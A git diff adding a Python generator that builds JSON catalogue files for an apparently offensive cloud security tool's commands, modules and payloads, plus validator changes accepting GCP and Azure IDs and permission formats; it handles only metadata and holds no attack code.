+def reconcile_orphans(subdir, valid_ids):
+    """Delete stale per-entry detail files no longer present in the artifact."""
+    detail_dir = DATA_ROOT / subdir
+    if not detail_dir.exists():
+        return
+    valid_files = {f"{entry_id}.json" for entry_id in valid_ids}
+    for existing in detail_dir.glob("*.json"):
+        if existing.name not in valid_files:
+            existing.unlink()
+            print(f"Removed stale {subdir} detail: {existing.name}")
+
+
+def generate_pathrunner_json(source_dir, output_file):
+    github_token = os.environ.get("GITHUB_TOKEN")
+    if not source_dir:
+        if github_token:
+            print("Using GitHub token for API access")
+        else:
+            print("No GITHUB_TOKEN found, using unauthenticated access (rate limited)")
+    headers = build_github_headers(github_token)
+
+    reference = load_reference(source_dir, headers)
+    check_schema_version(reference)
+
+    generator = reference.get("generator", {})
+    counts = reference.get("counts", {})
+    commands = reference.get("commands", []) or []
+    modules = reference.get("modules", []) or []
+    payloads = reference.get("payloads", []) or []
+
+    media_by_stem = copy_gifs(source_dir, headers)
+    lab_lookup = build_lab_lookup()
+
+    # ---- Commands ---------------------------------------------------------- #
+    command_index = []
+    command_ids = []
+    for command in iter_commands(commands):
+        name = command.get("name", "")
+        if not name:
+            continue
+        command_ids.append(name)
+        command_index.append(
+            {
+                "name": name,
+                "group": command.get("group", ""),
+                "short": command.get("short", ""),
+            }
+        )
+        detail = dict(command)
+        # Command demos are GIFs keyed by full invocation (e.g. "modules-list",
+        # "attacker-identity-show"); attach any whose name matches this command
+        # or one of its subcommands so they render on the top-level command page.
+        # Commands stay bare stems (the frontend re-derives subcommand stems and
+        # tests set membership); command media is always GIF.
+        detail["gifs"] = sorted(
+            s for s in media_by_stem if s == name or s.startswith(f"{name}-")
+        )
+        write_json(DATA_ROOT / "commands" / f"{name}.json", detail)
+
+    # ---- Payloads ---------------------------------------------------------- #
+    # Processed before modules so each module can resolve its (unqualified)
+    # compatible payload names to concrete, linkable payload entries.
+    payload_index = []
+    payload_slugs = []
+    payloads_by_name = {}  # name -> [index entry, ...] across services
+    seen_slugs = {}
+    for payload in payloads:
+        name = payload.get("name", "")
+        if not name:
+            continue
+        qualified = payload.get("qualifiedName") or name
+        slug = slugify(qualified)
+        # Guard against slug collisions (distinct qualifiedNames that slugify the
+        # same) by suffixing a counter -- keeps per-entry files 1:1 with payloads.
+        if slug in seen_slugs:
+            seen_slugs[slug] += 1
+            slug = f"{slug}-{seen_slugs[slug]}"
+        else:
+            seen_slugs[slug] = 0
+        payload_slugs.append(slug)
+        service = payload.get("service") or "other"
+        entry = {
+            "slug": slug,
+            "name": name,
+            "qualifiedName": qualified,
+            "service": service,
+            "tags": payload.get("tags", []) or [],
+        }
+        payload_index.append(entry)
+        payloads_by_name.setdefault(name, []).append(entry)
+        detail = dict(payload)
+        detail["slug"] = slug
+        detail["service"] = service
+        write_json(DATA_ROOT / "payloads" / f"{slug}.json", detail)
+
+    # ---- Modules ----------------------------------------------------------- #
+    module_index = []
+    module_ids = []
+    for module in modules:
+        module_id = module.get("id", "")
+        if not module_id:
+            continue
+        module_ids.append(module_id)
+        services = module.get("services", []) or []
+        primary_service = module.get("primaryService") or (
+            services[0] if services else "other"
+        )
+        module_index.append(
+            {
+                "id": module_id,
+                "name": module.get("name", ""),
+                "category": module.get("category", ""),
+                "primaryService": primary_service,
+                "services": services,
+            }
+        )
+        detail = dict(module)
+        detail["primaryService"] = primary_service
+        # Resolve the matching lab slug (if any) for the module page's lab link.
+        detail["labSlug"] = lab_lookup.get(module_id)
+        # Per-module demo media (keyed by module id). Carry the file extension so
+        # the frontend can embed WebM as a <video> (with scrub/pause controls) and
+        # fall back to an <img> for any module still shipping a GIF.
+        detail["gifs"] = [
+            {"name": stem, "ext": media_by_stem[stem]}
+            for stem in sorted(media_by_stem)
+            if stem == module_id
+        ]
+        # Resolve each compatible payload (unqualified name, e.g.
+        # "backdoor/attach-policy") to a concrete payload entry. The right one is
+        # the variant whose service the module actually runs on -- preferring the
+        # primary service, else any of the module's services. This makes the
+        # module page's payload chips link to the real payload pages.
+        detail["payloads"] = resolve_module_payloads(
+            module.get("payloads", []) or [], services, primary_service, payloads_by_name
+        )
+        write_json(DATA_ROOT / "modules" / f"{module_id}.json", detail)
+
+    # ---- Lightweight index ------------------------------------------------- #
+    index = {
+        "generator": {
+            "schemaVersion": generator.get("schemaVersion", ""),
+            "pathrunnerVersion": generator.get("pathrunnerVersion", ""),
+            "gitCommit": generator.get("gitCommit", ""),
+        },
+        "counts": counts,
+        "commands": command_index,
+        "modules": module_index,
+        "payloads": payload_index,
+    }
+    write_json(Path(output_file), index)
+
+    # ---- Reconcile orphaned detail files ----------------------------------- #
+    reconcile_orphans("commands", command_ids)
+    reconcile_orphans("modules", module_ids)
+    reconcile_orphans("payloads", payload_slugs)
+
+    print(
+        f"Wrote {output_file}: "
+        f"{len(command_index)} commands, "
+        f"{len(module_index)} modules, "
+        f"{len(payload_index)} payloads"
+    )
+    modules_with_labs = sum(1 for m in modules if lab_lookup.get(m.get("id")))
+    print(f"Resolved lab links for {modules_with_labs} module(s)")
+
+
+def main():
+    parser = argparse.ArgumentParser(
+        description="Generate pathrunner.json from the pathrunner reference artifact"
+    )
+    parser.add_argument(
+        "--source-dir",
+        help="Path to a local pathrunner clone (default: fetch from GitHub)",
+    )
+    parser.add_argument(
+        "--output",
+        default=INDEX_OUTPUT,
+        help=f"Output index JSON file path (default: {INDEX_OUTPUT})",
+    )
+    args = parser.parse_args()
+
+    # Change to project root so all docs/... paths resolve from the repo root.
+    script_dir = Path(__file__).parent
+    project_root = script_dir.parent
+    os.chdir(project_root)
+
+    generate_pathrunner_json(source_dir=args.source_dir, output_file=args.output)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/scripts/validate-schema.py b/scripts/validate-schema.py
index 06dafb92..bdb268e9 100755
--- a/scripts/validate-schema.py
+++ b/scripts/validate-schema.py
@@ -100,6 +100,7 @@
     'pathrunner',
     'gcloud',
     'azurecli',
+    'gcpwn',
 ]
 
 ALLOWED_PREREQUISITE_TABS = [
@@ -107,21 +108,39 @@
     'lateral',
 ]
 
+# Non-AWS cloud providers prefix their IDs (gcp-iam-001, azure-iam-001) to
+# disambiguate from AWS IDs of the same service/number. AWS IDs stay bare.
+CLOUD_ID_PREFIXES = [
+    'gcp',
+    'azure',
+]
+
+# IAM permission separators by cloud: AWS uses 'service:Action', GCP uses
+# dotted 'service.resource.action', Azure uses 'Provider/resourceType/action'.
+PERMISSION_SEPARATORS = [':', '.', '/']
+
 class ValidationError(Exception):
     """Custom exception for validation errors."""
     pass
 
 
 def validate_id(id_value: str) -> None:
-    """Validate the ID field format (service-###)."""
+    """Validate the ID field format ('service-###', or '{cloud}-service-###' for non-AWS clouds)."""
     if not id_value:
         raise ValidationError("ID cannot be empty")
 
     parts = id_value.split('-')
-    if len(parts) != 2:
-        raise ValidationError(f"ID '{id_value}' must be in format 'service-###'")
 
-    service, number = parts
+    if len(parts) == 3 and parts[0] in CLOUD_ID_PREFIXES:
+        _, service, number = parts
+    elif len(parts) == 2:
+        service, number = parts
+    else:
+        raise ValidationError(
+            f"ID '{id_value}' must be in format 'service-###' "
+            f"(or '{{cloud}}-service-###' for {', '.join(CLOUD_ID_PREFIXES)})"
+        )
+
     if not service.isalnum():
         raise ValidationError(f"Service part of ID '{id_value}' must be alphanumeric")
 
@@ -198,10 +217,12 @@ def validate_permission_object(perm: Dict, perm_type: str) -> None:
     if not isinstance(perm['permission'], str):
         raise ValidationError(f"Permission value in {perm_type} must be a string")
 
-    # Validate IAM permission format (service:Action)
-    if ':' not in perm['permission']:
+    # Validate IAM permission format: AWS 'service:Action', GCP
+    # 'service.resource.action', or Azure 'Provider/resourceType/action'.
+    if not any(sep in perm['permission'] for sep in PERMISSION_SEPARATORS):
         raise ValidationError(
-            f"Permission '{perm['permission']}' in {perm_type} must be in format 'service:Action'"
+            f"Permission '{perm['permission']}' in {perm_type} must be in format 'service:Action' "
+            f"(AWS), 'service.resource.action' (GCP), or 'Provider/resourceType/action' (Azure)"
         )
 
 
@@ -223,10 +244,12 @@ def validate_required_permissions(permissions: List[Dict]) -> None:
         if not isinstance(perm['permission'], str):
             raise ValidationError("Permission value must be a string")
 
-        # Validate IAM permission format (service:Action)
-        if ':' not in perm['permission']:
+        # Validate IAM permission format: AWS 'service:Action', GCP
+        # 'service.resource.action', or Azure 'Provider/resourceType/action'.
+        if not any(sep in perm['permission'] for sep in PERMISSION_SEPARATORS):
             raise ValidationError(
-                f"Permission '{perm['permission']}' must be in format 'service:Action'"
+                f"Permission '{perm['permission']}' must be in format 'service:Action' (AWS), "
+                f"'service.resource.action' (GCP), or 'Provider/resourceType/action' (Azure)"
             )